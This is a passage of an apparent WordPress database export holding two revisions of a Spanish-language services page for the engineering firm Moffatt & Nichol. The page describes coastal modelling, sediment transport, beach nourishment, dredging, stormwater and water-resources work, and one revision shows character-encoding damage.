una base regional, particularmente en el caso de proyectos relacionados con la colocación de arena. Como parte del planeamiento de dichos proyectos, Moffatt & Nichol ha proporcionado a organismos federales, estatales y locales servicios que han incluido la participación de las partes interesadas y de la ciudadanía, la modelación del transporte de sedimentos, análisis del cambio de la ribera y otros estudios integrales de toda la zona del litoral, a fin de ayudarles a manejar los sedimentos costeros como un recurso regional o para coordinar esfuerzos de protección de la ribera entre comunidades costeras vecinas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/beach_nourishment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">recuperación de playas</h1>\r\nDada la naturaleza dinámica de la costa, muchas de las riberas del mundo experimentan cambios impresionantes que pueden hacer necesaria cierta intervención para preservar las oportunidades recreacionales o para proteger la infraestructura existente. Durante décadas, Moffatt & Nichol ha completado con éxito proyectos de recuperación de playas para muchos clientes públicos y privados que comprenden desde el gobierno federal (playas en centros urbanos importantes) hasta corporaciones individuales (playas aisladas en centros turísticos). En apoyo de esos proyectos, Moffatt & Nichol ha proporcionado planeamiento, gestión de autorizaciones, participación de la comunidad, modelación y análisis de la ribera, desarrollo del presupuesto del litoral, análisis de daños y beneficios de tormentas, determinación y evaluación de fuentes de arena y alternativas de dragado, ingeniería, diseño, preparación de documentación de construcción y servicios de licitación y construcción.\r\n\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/intel.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"6\">gestión de bocas de entrada</h1>\r\n Las bocas de entrada están entre los elementos más importantes de los sistemas costeros. Físicamente, son primordiales para el funcionamiento de los procesos del litoral y por lo tanto determinan el comportamiento de la ribera mediante el control de dichos procesos en su región. Por ejemplo, permiten el intercambio de agua, sedimento y nutrientes entre las bahías y los océanos y juegan un papel muy importante en los procesos de evolución de las islas de barrera, además de tener un gran impacto en la estabilidad de las riberas adyacentes y en la propagación de la marejada ciclónica en bahías interiores. Además, proporcionan acceso de navegación importante, y con frecuencia irreemplazable, entre esas bahías interiores resguardadas y el mar abierto. \r\n \r\nLa correcta gestión de las bocas de entrada requiere una profunda comprensión y amplia evaluación de la dinámica de la entrada y la ribera. Moffatt & Nichol ha perfeccionado las habilidades y herramientas que utiliza para analizar dichas dinámicas y otros problemas relevantes mediante el análisis y la evaluación de algunas de las bocas de entrada costeras más importantes y dinámicas de Norteamérica. Esta experiencia incluye:\r\n<ul>\r\n<li>Análisis de estabilidad (bocas de entrada individuales y múltiples)</li>\r\n<li>Abertura de la isla de barrera y nuevo desarrollo de bocas de entrada</li>\r\n<li>Evolución del bajío de marea baja y de inundación</li>\r\n<li>Presupuestos de sedimentos</li>\r\n<li>Modelación detallada de olas, hidrodinámico, transporte de sedimentos y morfológico</li>\r\n<li>Estimaciones de asomeramiento de canales</li>\r\n<li>Estructuras de estabilización</li>\r\n<li>Sistemas de derivación mecánicos</li>\r\n<li>Análisis de navegación</li>\r\n<li>Optimización de canales de bocas de entrada (disposición y dimensiones)</li>\r\n<li>Evaluación de impactos de bocas de entrada en la hidrodinámica de la bahía y la calidad del agua</li>\r\n</ul>\r\n&nbsp;\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/dragged-material.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"7\">gestión de material dragado y su reutilización beneficiosa</h1>\r\nHistóricamente, el material dragado era considerado como “escombros” para desechar mientras que el material dragado más recientemente ha sido reconocido como un recurso valioso para la creación de humedales, recuperación de playas y otros proyectos similares. Con nuestra especialización en ingeniería costera, Moffatt & Nichol ha trabajado continuamente desde su fundación en planes y proyectos de gestión de materiales dragados, incluyendo muchos relacionados con la reutilización beneficiosa de dicho material. Particularmente, Moffatt & Nichol tiene un extenso y exitoso historial de experiencia con proyectos de dragado para el Cuerpo de Ingenieros del Ejército de EE.UU., varias autoridades portuarias y gobiernos internacionales. Los proyectos típicos incluyen el dragado y la colocación de materiales en altiplanicies, riberas, áreas cercanas a la costa y costa afuera, realizados por diferentes razones, que incluyen la profundización de atracaderos, cuencas y canales de navegación, el dragado de emergencia o mantenimiento, la creación o restauración de hábitats/tierras/puertos, otras aplicaciones beneficiosas y la reactivación de antiguos lugares de colocación.\r\n\r\nMuchos de nuestros proyectos de dragado han implicado la modelación numérica de alta gama hidrodinámico y de destino del sedimento (uni-, bi- y tridimensional) e incluyeron la gestión de autorizaciones, estrategias de gestión de largo plazo, planes de gestión de materiales dragados o la documentación de la construcción. También tenemos la capacidad de proporcionar estimaciones de la cantidad “basadas en el riesgo” y opiniones de costos probables en casos en los que el diseño del proyecto utiliza un criterio de riesgo aceptable para el diseño. Hemos completado el dragado para proyectos que varían desde cantidades tan pequeñas como 5.000 yardas cúbicas, hasta la creación de áreas sin edificar adyacentes a puertos que implicaban 26 millones de yardas cúbicas (el proyecto más grande de creación de terreno en los Estados Unidos.)\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel-transportion.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"8\">vulnerabilidad del sistema de transporte costero </h1>\r\nA medida que la densidad demográfica continúa aumentando cerca de nuestras costas y se construye infraestructura para apoyar ese aumento, la vulnerabilidad de dicha población e infraestructura al daño de tormentas costeras, así como a un daño más gradual debido a cambios de largo plazo, se ha convertido en un foco de atención mientras los gobiernos intentan presupuestar los gastos iniciales y de mantenimiento. Como la historia demuestra, estos aumentos en la población y la infraestructura han llevado a aumentos correspondientes en los presupuestos, lo que puede ser agravado por su asignación a áreas más vulnerables. Para colaborar con el manejo de estos gastos, Moffatt & Nichol proporciona una gama completa de servicios de planeamiento e ingeniería costeros decisivos para determinar correctamente la vulnerabilidad y para formular los criterios de diseño apropiados que afectan al desarrollo. Por ejemplo, la determinación de la vulnerabilidad de posibles instalaciones de transporte costeras puede afectar la selección de rutas o ubicaciones más rentables. \r\n \r\nLas especialidades de Moffatt & Nichol relacionadas con la determinación de la vulnerabilidad incluyen la modelación hidrodinámica, el análisis retrospectivo del oleaje y el análisis estadístico para determinar los criterios de diseño para la elevación de la marejada ciclónica, la elevación de la altura de la ola y la dirección y magnitudes de la corriente. Estas determinaciones proporcionan la base para los análisis morfológicos costeros, los análisis de socavación, los análisis de colisión de buques y la gestión de aguas pluviales que afectan la localización y el diseño de caminos y puentes costeros.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/hydraulic.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"9\">estructuras hidráulicas</h1>\r\nA través de la historia, el hombre ha tratado de controlar, o al menos influir, en las corrientes y los ríos para evitar inundaciones o para mejorar el suministro y la calidad del agua, la navegación, la agricultura y el suministro de energía. Moffatt & Nichol es experto en el planeamiento y diseño de estructuras hidráulicas utilizadas para modificar corrientes y ríos, al mismo tiempo que protege la vida, la propiedad y el medioambiente. Esta experiencia incluye diques fluviales, vertederos, muros de protección contra inundaciones, presas, estructuras hidráulicas de control de flujo, esclusas, compuertas de marea, desvíos de flujo, sifones invertidos, reservorios, lagunas de retención, salidas, desembocaduras, alcantarillas y una variedad de canales naturales y artificiales.</a>\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel-structures.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"10\">estructuras costeras </h1>\r\nEn cuanto a otros aspectos en el área de especialización de la ingeniería costera, Moffatt & Nichol ha participado por mucho tiempo en el planeamiento y diseño de estructuras costeras: rompeolas, malecones, diques marítimos, espigones, escolleras, muros de retención, etc., para proteger/estabilizar/controlar secciones de líneas costeras, bocas de entrada, puertos y definir las interfaces tierra/agua. Hemos planeado, analizado y diseñado estructuras costeras en todos los ambientes de frentes costeros:\r\n<ul>\r\n<li>desde líneas costeras abiertas con agua profunda y exposición a tsunamis hasta bahías protegidas con aguas poco profundas y consideraciones acerca de seiches y la sobreelevación del nivel del mar por oleaje. </li>\r\n<li>desde el Ártico, donde el hielo puede determinar los parámetros de diseño, hasta el Ecuador, donde la corrosión puede, y </li>\r\n<li>desde suelos débiles que proporcionan poco apoyo al lecho de roca expuesto</li>\r\n</ul>\r\nEsta amplitud de experiencia y conocimientos sobre estructuras costeras ha sido reconocida al habernos elegido para completar los manuales de diseño de estructuras de frentes costeros para la Marina de EE.UU. y el Cuerpo de Ingenieros del Ejército de EE.UU.\r\n\r\nYa sea que se diseñen directamente o que se proporcione información a otras disciplinas para su diseño, el diseño de estructuras costeras se apoya en los resultados de varios análisis costeros en los que somos expertos, es decir, análisis estadísticos (viento, olas, corrientes, marejadas ciclónicas), modelación numérica y física incluyendo cambios morfológicos costeros, o la determinación de carga hidrodinámica. Por ejemplo, nuestros ingenieros costeros determinan regularmente las cargas hidrodinámicas para que nuestros ingenieros estructurales de frentes costeros las utilicen como una de las cargas dinámicas que serán consideradas durante el diseño de la estructura. Estamos muy familiarizados con los problemas, muchos de ellos únicos, pertinentes al diseño y la construcción de estructuras de zonas costeras, incluyendo el análisis de riesgo, la selección de materiales, la factibilidad de construcción del sistema estructural y las implicaciones de costos de cada uno. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/modeling.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"11\">navegación/amarre/atraque de buques</h1>\r\nA medida que las demandas comerciales y recreacionales aumentan, el tamaño y la cantidad de buques que utilizan puertos y vías navegables en el mundo aumentan, lo que puede llevar a diversos problemas y conflictos de navegación. Desde nuestra fundación en 1945 por parte de ingenieros especializados en puertos, Moffatt & Nichol ha participado en proyectos de planeamiento y diseño de navegación formulados para aliviar dichos problemas y conflictos de navegación. Por consiguiente, hemos realizadoestudios de navegación en todo el mundo para una larga lista de clientes, usualmente organismos gubernamentales, pero también para compañías privadas (como empresas de energía, de defensa, fabricantes o expedidores). Además de los estudios de navegación, periódicamente realizamos estudios de amarre y atraque de buques. Estos estudios utilizan modelos numéricos avanzados que examinan las maniobras y el movimiento de buques tanto durante su tránsito como mientras está atracado.\r\n  \r\n<strong>Navegación de buques.</strong> Los estudios de navegación de buques generalmente evalúan las características existentes y propuestas de la vía navegable para las condiciones sin proyecto y con proyecto mediante el análisis de parámetros tales como la utilización/operación del buque, las prácticas de navegación y la gestión de la vía navegable. Moffatt & Nichol tiene gran experiencia en proporcionar tales estudios, incluyendo aspectos tales como los análisis/impactos económicos, análisis/impactos del transporte, características de funcionamiento e hidrodinámica del movimiento del buque y la evaluación cualitativa y cuantitativa de los riesgos, lo que implica el análisis estadístico para las alternativas consideradas. Esta experiencia incluye simulaciones de puente en escritorio y en misión completa de las maniobras del buque en vías navegables, puertos y carriles de navegación para una gama completa de condiciones potenciales de viento, olas y corrientes.\r\n\r\n<strong>Amarre/Atraque.</strong> Moffatt & Nichol utiliza una variedad de modelos de computadora para análisis estáticos y dinámicos de los buques amarrados a estructuras de frentes costeros y amarres costa afuera (de un punto y de múltiples puntos). Los modelos se utilizan para evaluar las operaciones de buques/carga de contenedores, movimientos del buque, cargas de amarre, requisitos de defensas y condiciones medioambientales limitantes (por ejemplo, el tiempo de inactividad asociado con las inclemencias del tiempo, los criterios de evacuación para tormentas severas, la necesidad de ayuda de un remolcador o la necesidad de protección del atraque).\r\n\r\nUsando los resultados de dichos estudios, Moffatt & Nichol ha seguido desarrollando las alternativas seleccionadas mediante el proceso de diseño y construcción. Los proyectos típicos han incluido canales de navegación/cuencas de retorno, dragado, ayudas de navegación, instalaciones de amarres, operaciones de lanchaje, control de ríos, sistemas de defensas y mejoras de la estructura del frente costero.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n    <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/water-resourses.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"12\">recursos hídricos</h1>\r\nCon los cambios de población y las demandas de infraestructura correspondientes, la gestión de la divisoria de aguas se ha convertido en un problema importante en muchos lugares donde anteriormente la población era indiferente, mientras que en otros, con una mayor conciencia de la sostenibilidad, se ha convertido en la preocupación principal que afecta al desarrollo. Para tratar estas preocupaciones, Moffatt & Nichol ha preparado estudios de recursos hídricos que han examinado en detalle y cuidadosamente las divisorias de aguas y las alternativas para manejar este activo en beneficio de la comunidad. Para estos estudios, Moffatt & Nichol ha suministrado el planeamiento, modelación, análisis, soluciones alternativas, participación ciudadana, gestión de autorizaciones, ingeniería, diseño, documentación de la construcción y servicios de licitación y construcción para que los proyectos mejoren o solucionen los problemas de gestión de agua para tareas que comprenden desde iniciativas de grandes divisorias de aguas o problemas de drenaje de subdivisiones hasta el impacto de las escorrentías sobre propietarios individuales.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/storm-water.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"13\">gestión de aguas pluviales</h1>\r\nLa gestión de aguas pluviales como un medio para reducir las inundaciones o el impacto sobre la calidad del agua causado por las escorrentías se ha convertido en un área de creciente interés de parte de la ciudadanía y de los organismos gubernamentales a medida que aumenta su conciencia de estos agresores del medioambiente. Con esta creciente atención, se ha desarrollado el interés en un tratamiento y una gestión más pequeños y proactivos de las aguas pluviales, cerca de la fuente de la escorrentía, en comparación con el tratamiento de la escorrentía más cerca de su destino. Moffatt & Nichol ha realizado proyectos de aguas pluviales que implicaban solicitudes de subvenciones, planeamiento/restauración de la divisoria de aguas, análisis de llanuras inundables, modelación hidrológica/hidráulica integrada, apoyo para gestión de autorizaciones, mejores prácticas de gestión de aguas pluviales, estructuras hidráulicas, sistemas de bombeo, mitigación de impactos, integración GIS/GPS, coordinación de diferentes organismos y participación ciudadana.\r\n      \r\nHemos completado estos proyectos en una amplia gama de escenarios hidrológicos y topográficos: montañas, colinas y valles costeros, pero proporcionamos excepcionales capacidades para tratar dichos proyectos en valles costeros. En regiones costeras, los problemas de gestión de aguas pluviales son especialmente complejos porque el bajo relieve en topografía y las altas capas freáticas limitan la colocación y con frecuencia afectan el rendimiento de las mejores prácticas de gestión de aguas pluviales convencionales. Como resultado de nuestro enfoque en la región costera, Moffatt & Nichol está muy familiarizado con prácticas menos convencionales, casi atípicas, que funcionan bajo estas complejas condiciones. Como parte de esta familiaridad y de nuestra utilización de modelos numéricos complejos en el ambiente costero, Moffatt & Nichol también proporciona experiencia profesional especializada en la evaluación de problemas de aguas pluviales costeras, que incluyen el uso de modelos de agua superficial/agua subterránea combinadas para analizar su flujo y captación.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/air-sendiment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"14\">análisis de aire, sedimentos y calidad del agua</h1>\r\nPara ayudar a nuestros clientes a responder a los pedidos de los diferentes organismos reguladores que controlan la gestión de autorizaciones de proyectos de frentes costeros y zonas costeras, Moffatt & Nichol ha utilizado modelos numéricos existentes y ha desarrollado un modelo computacional basado en actividades para estimar los efectos de posibles proyectos sobre los sedimentos, el agua o la calidad del aire en la cercanía de dichos proyectos. Estos modelos también se utilizan para desarrollar y examinar alternativas de tratamiento de los sedimentos, del agua o de la calidad del aire durante la construcción del proyecto y posteriormente durante la operación.\r\n  \r\nPara la gestión de sedimentos, Moffatt & Nichol utiliza modelos numéricos muy sofisticados a fin de estudiar el incremento, la erosión y el dragado del sedimento. Modelos similares de las prácticas actuales se utilizan para analizar la calidad del agua de las masas de agua de ríos, estuarios y costas. Por ejemplo, Moffatt & Nichol ha realizado varios proyectos que requerían el retiro, la colocación y el aislamiento de sedimentos contaminados para evitar su reintroducción al medioambiente y los riesgos ecológicos potenciales asociados con dicha reintroducción. Estos proyectos generalmente usan instalaciones de contención que aíslan los sedimentos tratados químicamente en áreas de colocación en altiplanicies, cerca de la costa, costa afuera o en el subsuelo; Moffatt & Nichol ha modelado dichas instalaciones en todas las etapas de su realización.\r\n\r\nComo parte de la obtención de las autorizaciones para proyectos dentro de áreas de emisión de aire delicadas, Moffatt & Nichol ha desarrollado un modelo computacional basado en actividades que cuantifica las emisiones de aire e integra los factores de emisión de aire aceptados por la Agencia para la Protección del Medioambiente (EPA, por sus siglas en inglés) con modelos de planeamiento operativo desarrollados por Moffatt & Nichol. Este modelo se ha utilizado para modelar aspectos de la emisión en proyectos de desarrollo portuario en áreas muy urbanizadas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/vesel-new.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"15\">estudios de maniobras y tráfico de buques</h1>\r\nMoffatt & Nichol tiene una avanzada capacidad para proporcionar simulaciones numéricas de los movimientos de buques, de las operaciones portuarias y de sistemas similares usando un sofisticado modelo numérico llamado Lenguaje de Simulación para Modelación Alternativa (SLAM, por sus siglas en inglés).  Este modelo también incluye un módulo de gráficos que proporciona una visualización animada en pantalla de los resultados.  Pueden hacerse análisis del tráfico de buques en puertos, vías navegables y puertos deportivos para examinar las capacidades de flujo o para determinar el impacto de los cambios en las operaciones o la utilización de un puerto.  Moffatt & Nichol ha desarrollado un modelo avanzado de tráfico de buques que se ha aplicado con éxito en varios proyectos de diferentes campos, desde el tráfico de naves comerciales en puerto hasta operaciones de tráfico de botes en puertos deportivos.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/watershed.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"17\">restauración de la divisoria de aguas</h1>\r\n Han ocurrido impactos negativos sobre la calidad del agua y el hábitat acuático en los ríos, corrientes, lagos, estuarios y humedales de Estados Unidos a causa de varios efectos a lo largo del tiempo. La restauración de la divisoria de aguas busca devolver algunos de estos ecosistemas a condiciones aproximadamente iguales a las que tenía previas a las alteraciones. Esto requiere la implementación integral de diversas soluciones o proyectos para los cuales Moffatt & Nichol puede proporcionar una gama completa de servicios de planeamiento, modelación numérica, diseño de ingeniería y construcción, necesarios para que dichos proyectos tengan éxito.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n \r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n\r\n','Servicios de recursos costeros, medioambientales e hídricos','','inherit','open','open','','526-autosave','','','2012-06-15 05:38:47','2012-06-15 05:38:47','',526,'http://moffattnichol.com/spanish/526-autosave/',0,'revision','',0),(2465,1,'2012-06-15 05:27:38','2012-06-15 05:27:38','<div class=\"content_faq\">\r\n  <h3>servicios de recursos costeros, medioambientales e hídricos</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel1.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">modelaciÃ³n numÃ©rica de procesos fluviales, estuarinos y costeros</h1>\r\nDado el Ã©nfasis en preservar o mejorar el medioambiente, uno de los aspectos mÃ¡s crÃticos que afectan la aprobaciÃ³n reglamentaria de los nuevos proyectos es la evaluaciÃ³n de su impacto en el medioambiente existente. La participaciÃ³n de Moffatt & Nichol en estas evaluaciones de impacto usualmente requiere nuestras capacidades para analizar procesos fluviales, estuarinos y costeros a travÃ©s del uso de modelos numÃ©ricos avanzados para estudiar los efectos con y sin el proyecto sobre la hidrodinÃ¡mica (nivel del agua, olas, corrientes, inundaciones), transporte de sedimentos, erosiÃ³n y deposiciÃ³n y calidad del agua. Tenemos un gran conocimiento de los procesos fÃsicos activos en estas ubicaciones, adquirido mediante la realizaciÃ³n de centenares de proyectos afectados, y con la ayuda de investigaciones y simulaciones de modelos numÃ©ricos. Moffatt & Nichol ha completado centenares de estudios de modelaciÃ³n, usando varias plataformas de modelaciÃ³n comerciales y de dominio pÃºblico, en todo el mundo; esto incluye haber realizado anÃ¡lisis de la mayor parte de los principales estuarios y bahÃas costeras a lo largo de la costas oriental, del golfo y occidental de los Estados Unidos. Muchos de estos estudios de modelaciÃ³n han sido objeto de una rigurosa revisiÃ³n y aceptaciÃ³n por las partes interesadas relacionadas con los proyectos, incluyendo la comunidad medioambiental y reguladora, como parte del proceso de revisiÃ³n medioambiental.\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/sendiment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">transporte de sedimentos</h1>\r\nEl anÃ¡lisis del transporte de sedimentos de Moffatt & Nichol examina los cambios en el equilibrio de un medioambiente costero que resulta tÃpicamente de acontecimientos naturales (por ejemplo, tormentas) o artificiales (por ejemplo, dragados) que vuelven a colocar el sedimento. Estos anÃ¡lisis son utilizados para predecir los resultados de un acontecimiento o los impactos potenciales de un proyecto mediante el examen de la evoluciÃ³n fÃsica del Ã¡rea despuÃ©s de dicho acontecimiento. Los mecanismos fÃsicos examinados incluyen la erosiÃ³n o deposiciÃ³n como resultado de corrientes existentes o cambios a las corrientes, olas, mareas o a los parÃ¡metros del agua (como la densidad, temperatura o composiciÃ³n).\r\n\r\nPara examinar el transporte de sedimentos, la erosiÃ³n y la deposiciÃ³n, Moffatt & Nichol utiliza mÃ©todos analÃticos eficientes y comprobados, desarrollados en forma interna, asÃ como sofisticados modelos numÃ©ricos comerciales y de dominio pÃºblico. Moffatt & Nichol ha aplicado estos mÃ©todos extensamente en todo el mundo para proyectos de mejoras o daÃ±os de riberas y puertos, incluyendo algunos de los mayores proyectos de profundizaciÃ³n de canales emprendidos en los Estados Unidos (como el estudio de profundizaciÃ³n del puerto de Nueva York/Nueva Jersey).\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/ecosystem.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">restauraciÃ³n del ecosistema</h1>\r\nEn la relativamente nueva era de toma de conciencia del ecosistema, Moffatt & Nichol proporciona frecuentemente servicios de planeamiento, cientÃficos y de ingenierÃa para proyectos que implican la conservaciÃ³n, mejora o restauraciÃ³n. A menudo, dichos proyectos son componentes de mitigaciÃ³n que permiten que se desarrollen proyectos mÃ¡s grandes que, como tales, estÃ¡n sujetos a mayor escrutinio debido a la participaciÃ³n de los organismos reguladores. Estos componentes usualmente aumentan el nÃºmero de partes interesadas, incrementan la visibilidad de un proyecto y pueden necesitar una gran coordinaciÃ³n entre dichas partes interesadas: el pÃºblico, los organismos gubernamentales y las organizaciones no gubernamentales. \r\n\r\nPara dichos proyectos, las estrategias de mejora con frecuencia implican la modificaciÃ³n de los parÃ¡metros del agua en el ecosistema (por ejemplo, cambiando el flujo entrante o la distribuciÃ³n de agua dulce o salada), proporcionando ubicaciones/regÃmenes mejorados para la flora y fauna y protegiendo dichas mejoras contra los cambios adversos (como la estabilizaciÃ³n de riberas). Habiendo tratado cada uno de estos aspectos en muchos proyectos de restauraciÃ³n exitosa, Moffatt & Nichol ofrece su experimentado personal con una sÃ³lida trayectoria de Ã©xito en proporcionar planeamiento, modelaciÃ³n numÃ©rica, gestiÃ³n de autorizaciones, ingenierÃa, diseÃ±o, servicios de construcciÃ³n, participaciÃ³n ciudadana y supervisiÃ³n de proyectos de restauraciÃ³n del ecosistema.\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/regionalsend.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">gestiÃ³n regional de la arena</h1>\r\nHistÃ³ricamente, los proyectos de mejora de riberas fueron planeados y diseÃ±ados caso por caso, independientemente de sus impactos potenciales en las riberas vecinas o en todo el sistema del litoral. Dichos proyectos han sido considerados mÃ¡s recientemente sobre una base regional, particularmente en el caso de proyectos relacionados con la colocaciÃ³n de arena. Como parte del planeamiento de dichos proyectos, Moffatt & Nichol ha proporcionado a organismos federales, estatales y locales servicios que han incluido la participaciÃ³n de las partes interesadas y de la ciudadanÃa, la modelaciÃ³n del transporte de sedimentos, anÃ¡lisis del cambio de la ribera y otros estudios integrales de toda la zona del litoral, a fin de ayudarles a manejar los sedimentos costeros como un recurso regional o para coordinar esfuerzos de protecciÃ³n de la ribera entre comunidades costeras vecinas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/beach_nourishment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">recuperaciÃ³n de playas</h1>\r\nDada la naturaleza dinÃ¡mica de la costa, muchas de las riberas del mundo experimentan cambios impresionantes que pueden hacer necesaria cierta intervenciÃ³n para preservar las oportunidades recreacionales o para proteger la infraestructura existente. Durante dÃ©cadas, Moffatt & Nichol ha completado con Ã©xito proyectos de recuperaciÃ³n de playas para muchos clientes pÃºblicos y privados que comprenden desde el gobierno federal (playas en centros urbanos importantes) hasta corporaciones individuales (playas aisladas en centros turÃsticos). En apoyo de esos proyectos, 